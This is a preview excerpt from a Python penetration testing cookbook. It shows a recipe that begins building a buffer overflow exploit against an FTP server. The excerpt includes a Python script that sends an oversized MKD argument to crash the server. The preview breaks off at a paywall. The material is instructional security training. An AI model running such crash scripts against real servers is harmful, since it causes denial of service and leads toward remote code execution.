O'Reilly logo

Python Penetration Testing Cookbook by Rejah Rehim

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

How to do it...

Follow the steps to create an exploit for buffer overflow attack:

  1. In a Windows machine, start the Immunity Debugger and open the vulnerable application in it.
  2. As it is an FTP server, we can try to crash the application by connecting it from another machine.
  3. We can write a script to connect to the FTP server with Python. To do this, create an ftp_exploit.py and open it in your editor:
#!/usr/bin/python  
import socket 
import sys   
evil = "A"*1000   
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
connect=s.connect(('192.168.1.39',21))   
s.recv(1024) 
s.send('USER anonymous\r\n') 
s.recv(1024) 
s.send('PASS anonymous\r\n') 
s.recv(1024) 
s.send('MKD ' + evil + '\r\n') 
s.recv(1024) 
s.send('QUIT\r\n') 
s.close  

This creates a large chunk ...

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required